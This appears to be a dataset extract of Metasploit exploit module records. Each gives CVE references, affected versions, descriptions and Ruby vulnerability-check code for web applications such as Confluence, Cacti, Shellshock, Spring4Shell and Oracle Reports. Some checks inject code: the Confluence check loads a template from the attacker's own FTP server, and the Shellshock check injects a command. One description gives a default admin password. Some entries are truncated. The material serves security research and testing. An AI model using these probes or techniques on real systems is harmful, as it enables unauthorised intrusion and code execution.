deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Atlassian Confluence Widget Connector Macro Velocity Template Injection
Type: exploit
Path: modules/exploits/multi/http/confluence_widget_connector.rb
Platform: java
Disclosure date: 2019-03-25
References: CVE-2019-3396, URL-https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html, URL-https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/, URL-http://web.archive.org/web/[PII_REDACTED]4611/https://paper.seebug.org/886/
Targets: Java, Windows, Linux

Description:
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
          allows embed online videos, slideshows, photostreams and more directly into page.
          A _template parameter can be used to inject remote Java code into a Velocity template,
          and gain code execution. Authentication is unrequired to exploit this vulnerability.
          By default, Java payload will be used because it is cross-platform, but you can also
          specify which native payload you want (Linux or Windows).

          Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
          6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.

          This vulnerability was originally discovered by Daniil Dmitriev
          https://twitter.com/ddv_ua.

Check method (fingerprinting):
checkcode = Exploit::CheckCode::Safe('The target is not vulnerable')
    begin
      # Start the FTP service
      print_status('Starting the FTP server.')
      start_service

      @check_text = Rex::Text.rand_text_alpha(5..10)
      res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}check.vm")
      if res && res.body && res.body.include?(@check_text)
        checkcode = Exploit::CheckCode::Vulnerable('Successfully executed the injected code')
      end
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      checkcode = Exploit::CheckCode::Unknown('An error occurred while checking the target')
    end
    checkcode
  end

  # Injects Java code to the template.
  #
  # @param service_url [String] Address of template to injection.
  # @return [void]
Metasploit Module: Cacti Import Packages RCE
Type: exploit
Path: modules/exploits/multi/http/cacti_package_import_rce.rb
Platform: php
Disclosure date: 2024-05-12
References: URL-https://karmainsecurity.com/KIS-2024-04, CVE-2024-25641
Targets: PHP, Linux Command, Windows Command

Description:
This exploit module leverages an arbitrary file write vulnerability
          (CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It
          abuses the `Import Packages` feature to upload a specially crafted
          package that embeds a PHP file. Cacti will extract this file to an
          accessible location. The module finally triggers the payload to execute
          arbitrary PHP code in the context of the user running the web server.

          Authentication is needed and the account must have access to the
          `Import Packages` feature. This is granted by setting the `Import
          Templates` permission in the `Template Editor` section.

Check method (fingerprinting):
# Step 1 - Check if the target is Cacti and get the version
    print_status('Checking Cacti version')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?

    html = res.get_html_document
    begin
      cacti_version = parse_version(html)
      version_msg = "The web server is running Cacti version #{cacti_version}"
    rescue Msf::Exploit::Cacti::CactiNotFoundError => e
      return CheckCode::Safe(e.message)
    rescue Msf::Exploit::Cacti::CactiVersionNotFoundError => e
      return CheckCode::Unknown(e.message)
    end

    if Rex::Version.new(cacti_version) < Rex::Version.new('1.2.27')
      print_good(version_msg)
    else
      return CheckCode::Safe(version_msg)
    end

    # Step 2 - Login
    @csrf_token = parse_csrf_token(html)
    return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?

    begin
      do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
    rescue Msf::Exploit::Cacti::CactiError => e
      return CheckCode::Unknown("Login failed: #{e}")
    end

    @logged_in = true

    # Step 3 - Check if the user has enough permissions to reach `package_import.php`
    print_status('Checking permissions to access `package_import.php`')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.
Metasploit Module: Horde CSV import arbitrary PHP code execution
Type: exploit
Path: modules/exploits/multi/http/horde_csv_rce.rb
Platform: php
Disclosure date: 2020-02-07
Authors: Andrea Cardaci <cyrus.and@gmail.com>
References: CVE-2020-8518, URL-https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/

Description:
The Horde_Data module version 2.1.4 (and before) present in Horde
          Groupware version 5.2.22 allows authenticated users to inject
          arbitrary PHP code thus achieving RCE on the server hosting the web
          application.
Metasploit Module: Zpanel Remote Unauthenticated RCE
Type: exploit
Path: modules/exploits/multi/http/zpanel_information_disclosure_rce.rb
Platform: php
Disclosure date: 2014-01-30
References: CVE-2013-2097, EDB-31173, OSVDB-102595, URL-http://blog.0xlabs.com/2014/03/zpanel-10.1.x-remote-root.html, URL-http://pastebin.com/y5Pf4Yms
Targets: Generic (PHP Payload), Linux x86

Description:
This module exploits an information disclosure vulnerability
          in ZPanel. The vulnerability is due to a vulnerable version
          of pChart used by ZPanel that allows unauthenticated users to read
          arbitrary files remotely on the file system. This particular module
          utilizes this vulnerability to identify the username/password
          combination of the MySQL instance. With the
          credentials the attackers can login to PHPMyAdmin and execute
          SQL commands to drop a malicious payload on the filesystem and
          call it leading to remote code execution.
Metasploit Module: HP SiteScope Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb
Platform: win
Disclosure date: 2012-08-29
References: CVE-2012-3260, CVE-2012-3261, OSVDB-85121, OSVDB-85151, BID-55269, BID-55273, ZDI-12-174, ZDI-12-175
Targets: HP SiteScope 11.20 / Windows 2003 SP2, HP SiteScope 11.20 / Linux CentOS 6.3

Description:
This module exploits a code execution flaw in HP SiteScope. It exploits two
          vulnerabilities in order to get its objective. An authentication bypass in the
          create operation, available through the APIPreferenceImpl AXIS service, to create
          a new account with empty credentials and, subsequently, uses the new account to
          abuse the UploadManagerServlet and upload an arbitrary payload embedded in a JSP.
          The module has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2
          and Linux CentOS 6.3.
Metasploit Module: Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
Type: exploit
Path: modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb
Platform: linux
Disclosure date: 2014-09-24
References: CVE-2014-6271, CVE-2014-6278, OSVDB-112004, EDB-34765, URL-https://access.redhat.com/articles/1200223, URL-https://seclists.org/oss-sec/2014/q3/649
Targets: Linux x86, Linux x86_64

Description:
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
          handles external environment variables. This module targets CGI scripts in the
          Apache web server by setting the HTTP_USER_AGENT environment variable to a
          malicious function definition.

Check method (fingerprinting):
res = req("echo #{marker}", datastore['CVE'])

    if res && res.body.include?(marker * 3)
      return Exploit::CheckCode::Vulnerable('Successfully verified code execution on the target')
    elsif res && res.code == 500
      injected_res_code = res.code
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    res = send_request_cgi({
      'method' => datastore['METHOD'],
      'uri' => normalize_uri(target_uri.path.to_s)
    })

    if res && injected_res_code == res.code
      return Exploit::CheckCode::Unknown('Received an unexpected response from the target')
    elsif res && injected_res_code != res.code
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    Exploit::CheckCode::Unknown('No response received from the target')
  end
Metasploit Module: October CMS Upload Protection Bypass Code Execution
Type: exploit
Path: modules/exploits/multi/http/october_upload_bypass_exec.rb
Platform: php
Disclosure date: 2017-04-25
References: EDB-41936, URL-https://bitflipper.eu/finding/2017/04/october-cms-v10412-several-issues.html, CVE-2[PII_REDACTED]

Description:
This module exploits an Authenticated user with permission to upload and manage media contents can
          upload various files on the server. Application prevents the user from
          uploading PHP code by checking the file extension. It uses black-list based
          approach, as seen in octobercms/vendor/october/rain/src/Filesystem/
          Definitions.php:blockedExtensions().
          This module was tested on October CMS version v1.0.412 on Ubuntu.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(uri, 'modules', 'system', 'assets', 'js', 'framework.js')
      })
    rescue
      vprint_error('Unable to access the /assets/js/framework.js file')
      return CheckCode::Unknown('An error occurred while checking the target')
    end

    if res && res.code == 200
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    return CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Vtiger Install Unauthenticated Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/vtiger_install_rce.rb
Platform: php
Disclosure date: 2014-03-05
References: CVE-2014-2268, URL-https://www.navixia.com/blog/entry/navixia-find-critical-vulnerabilities-in-vtiger-crm-cve-2014-2268-cve-2014-2269.html, URL-http://vtiger-crm.2324883.n4.nabble.com/Vtigercrm-developers-IMP-forgot-password-and-re-installation-security-fix-tt9786.html

Description:
This module exploits an arbitrary command execution vulnerability in the
          Vtiger install script. This module is set to ManualRanking due to this
          module overwriting the target database configuration, which may result in
          a broken web app, and you may not be able to get a session again.
Metasploit Module: PHP Volunteer Management System v1.0.2 Arbitrary File Upload Vulnerability
Type: exploit
Path: modules/exploits/multi/http/php_volunteer_upload_exec.rb
Platform: php
Disclosure date: 2012-05-28
References: CVE-2012-10056, OSVDB-82391, EDB-18941

Description:
This module exploits a vulnerability found in PHP Volunteer Management System,
          version v1.0.2 or prior.  This application has an upload feature that allows an
          authenticated user to upload anything to the 'uploads' directory, which is actually
          reachable by anyone without a credential.  An attacker can easily abuse this upload
          functionality first by logging in with the default credential (admin:volunteer),
          upload a malicious payload, and then execute it by sending another GET request.
Metasploit Module: Apache Struts Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/struts_code_exec.rb
Platform: win
Disclosure date: 2010-07-13
References: CVE-2010-1870, OSVDB-66280, EDB-14360
Targets: Windows Universal, Linux Universal

Description:
This module exploits a remote command execution vulnerability in
          Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
          handle unicode characters in OGNL extensive expressions passed to the web server.

          By sending a specially crafted request to the Struts application it is possible to
          bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
          Bypassing this restriction allows for the execution of arbitrary Java code.
Metasploit Module: Roundcube Post-Auth RCE via PHP Object Deserialization
Type: exploit
Path: modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Platform: linux
Disclosure date: 2025-06-02
References: CVE-2025-49113, URL-https://fearsoff.org/research/roundcube
Targets: Linux Dropper, Linux Command

Description:
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
          by authenticated users because the _from parameter in a URL is not validated
          in program/actions/settings/upload.php, leading to PHP Object Deserialization.

          An attacker can execute arbitrary system commands as the web server.

Check method (fingerprinting):
res = fetch_login_page

    unless res.body =~ /"rcversion"\s*:\s*(\d+)/
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
    end

    version = Rex::Version.new(Regexp.last_match(1).to_s)
    print_good("Extracted version: #{version}")

    if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
      return CheckCode::Appears('The target is running a vulnerable version')
    elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
      return CheckCode::Appears('The target is running a vulnerable version')
    end

    CheckCode::Safe('The target version is not vulnerable')
  end
Metasploit Module: ManageEngine ServiceDesk Plus Unauthenticated SAML RCE
Type: exploit
Path: modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb
Platform: java
Disclosure date: 2023-01-10
References: CVE-2022-47966, URL-https://blog.viettelcybersecurity.com/saml-show-stopper/, URL-https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/, URL-https://github.com/horizon3ai/CVE-2022-47966, URL-https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis
Targets: Java (in-memory), Windows EXE Dropper, Windows Command, Unix Command, Linux Dropper

Description:
This exploits an unauthenticated remote code execution vulnerability
          that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and
          below (CVE-2022-47966). Due to a dependency to an outdated library
          (Apache Santuario version 1.4.1), it is possible to execute arbitrary
          code by providing a crafted `samlResponse` XML to the ServiceDesk Plus
          SAML endpoint. Note that the target is only vulnerable if it has been
          configured with SAML-based SSO at least once in the past, regardless of
          the current SAML-based SSO status.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'])
    )
    return CheckCode::Unknown('No response received from the target') unless res

    # vulnerable servers respond with 400 and a HTML body
    return CheckCode::Safe('The target is not vulnerable') unless res.code == 400

    script = res.get_html_document.xpath('//script[contains(text(), "BUILD_NUMBER")]')
    info = script.text.match(/PRODUCT_NAME\\x22\\x3A\\x22(?<product>.+?)\\x22,.*BUILD_NUMBER\\x22\\x3A\\x22(?<build>[0-9]+?)\\x22,/)
    return CheckCode::Unknown('Unable to extract product and build information from response') unless info
    unless info[:product] == 'ManageEngine\\x20ServiceDesk\\x20Plus'
      return CheckCode::Safe("This is not ManageEngine ServiceDesk Plus (#{info[:product]})")
    end

    # SAML 2.0 support has been added in build 10511
    # see https://www.manageengine.com/products/service-desk/on-premises/readme.html#readme105
    build = Rex::Version.new(info[:build])
    unless build >= Rex::Version.new('10511') && build <= Rex::Version.new('14003')
      return CheckCode::Safe("Target build is #{info[:build]}")
    end

    CheckCode::Appears('The target is running a vulnerable version')
  end
Metasploit Module: WordPress Really Simple SSL Plugin Authentication Bypass to RCE
Type: exploit
Path: modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb
Platform: php
Disclosure date: 2024-11-14
References: CVE-2024-10924, URL-https://github.com/RandomRobbieBF/CVE-2024-10924, URL-https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass
Targets: PHP In-Memory, Unix In-Memory, Windows In-Memory

Description:
This module exploits an authentication bypass vulnerability in the WordPress Really Simple SSL plugin
          (versions 9.0.0 to 9.1.1.1). The vulnerability allows bypassing two-factor authentication (2FA) and
          uploading a plugin to achieve remote code execution (RCE). Note: For the system to be vulnerable,
          2FA must be enabled on the target site; otherwise, the exploit will not work.

Check method (fingerprinting):
# next lines included for automatic inclusion into vulnerable plugins list
    # check_plugin_version_from_readme('really-simple-ssl', '9.1.2')
    # check_plugin_version_from_readme('really-simple-ssl-pro', '9.1.2')
    # check_plugin_version_from_readme('really-simple-ssl-pro-multisite', '9.1.2')
    return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?

    print_status("WordPress Version: #{wordpress_version}") if wordpress_version

    %w[really-simple-ssl really-simple-ssl-pro really-simple-ssl-pro-multisite].each do |slug|
      plugin_check = check_plugin_version_from_readme(slug, '9.1.2', '9.0.0')
      case plugin_check.code
      when 'appears'
        return CheckCode::Appears("Plugin #{slug} appears to be vulnerable.")
      when 'safe'
        return CheckCode::Safe("Plugin #{slug} is patched or not vulnerable.")
      end
    end

    CheckCode::Unknown('No vulnerable plugins were detected.')
  end
Metasploit Module: Pimcore Unserialize RCE
Type: exploit
Path: modules/exploits/multi/http/pimcore_unserialize_rce.rb
Platform: php
Disclosure date: 2019-03-11
References: CVE-2019-10867, URL-https://github.com/pimcore/pimcore/commit/38a29e2f4f5f060a[PII_REDACTED]2501cee05fda73, URL-https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-173998

Description:
This module exploits a PHP unserialize() in Pimcore before 5.7.1 to
          execute arbitrary code. An authenticated user with "classes" permission
          could exploit the vulnerability.

          The vulnerability exists in the "ClassController.php" class, where the
          "bulk-commit" method makes it possible to exploit the unserialize function
          when passing untrusted values in "data" parameter.

          Tested on Pimcore 5.4.0-5.4.4, 5.5.1-5.5.4, 5.6.0-5.6.6 with the Symfony
          unserialize payload.

          Tested on Pimcore 4.0.0-4.6.5 with the Zend unserialize payload.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'login')
    )

    unless res
      return Exploit::CheckCode::Unknown('No response received from the target')
    end

    if res.code == 200 && res.headers =~ /pimcore/i || res.body =~ /pimcore/i
      return Exploit::CheckCode::Detected('The target application was detected but requires authentication')
    end

    return Exploit::CheckCode::Safe('Target does not appear to be Pimcore')
  end
Metasploit Module: Spring Framework Class property RCE (Spring4Shell)
Type: exploit
Path: modules/exploits/multi/http/spring_framework_rce_spring4shell.rb
Platform: %w[linux win
Disclosure date: 2022-03-31
References: CVE-2022-22965, URL-https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement, URL-https://github.com/spring-projects/spring-framework/issues/28261, URL-https://tanzu.vmware.com/security/cve-2022-22965
Targets: Java, Linux, Windows

Description:
Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above
          and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable
          to remote code execution due to an unsafe data binding used to populate an object from request parameters
          to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the
          org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following:
          class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can
          gain remote code execution.

Check method (fingerprinting):
@checkcode = _check
  end
Metasploit Module: Oracle Forms and Reports Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/oracle_reports_rce.rb
Platform: linux
Disclosure date: 2014-01-15
References: CVE-2012-3152, CVE-2012-3153, OSVDB-86395, OSVDB-86394, EDB-31253
Targets: Linux, Windows

Description:
This module uses two vulnerabilities in Oracle Forms and Reports to get remote code execution
          on the host. The showenv url can be used to disclose information about a server. A second
          vulnerability that allows arbitrary reading and writing to the host filesystem can then be
          used to write a shell from a remote url to a known local path disclosed from the previous
          vulnerability.

          The local path being accessible from an URL allows an attacker to perform the remote code
          execution using, for example, a .jsp shell.

          This module was tested successfully on Windows and Oracle Forms and Reports 10.1.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/reports/rwservlet/showenv'),
      'method' => 'GET'
    })

    if res and res.code == 200
      if res.body =~ /\\(.*)\\showenv/
        vprint_good 'Windows install detected '
        path = ::Regexp.last_match(1).gsub('\\', '/')
        vprint_status "Path:  #{path}"
      elsif res.body =~ %r{/(.*)/showenv}
        vprint_good 'Linux install detected'
        vprint_status "Path:  #{::Regexp.last_match(1)}"
      else
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    end

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/reports/rwservlet'),
      'method' => 'GET',
      'vars_get' => {
        'report' => 'test.rdf',
        'desformat' => 'html',
        'destype' => 'cache',
        'JOBTYPE' => 'rwurl',
        'URLPARAMETER' => 'file:///'
      }
    })

    if res and res.code == 200 and res.body.downcase.exclude?('<html>')
      vprint_good 'URLPARAMETER is vulnerable'
      return Exploit::CheckCode::Vulnerable('Successfully verified path traversal vulnerability')
    else
      vprint_status 'URLPARAMETER is not vulnerable'
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end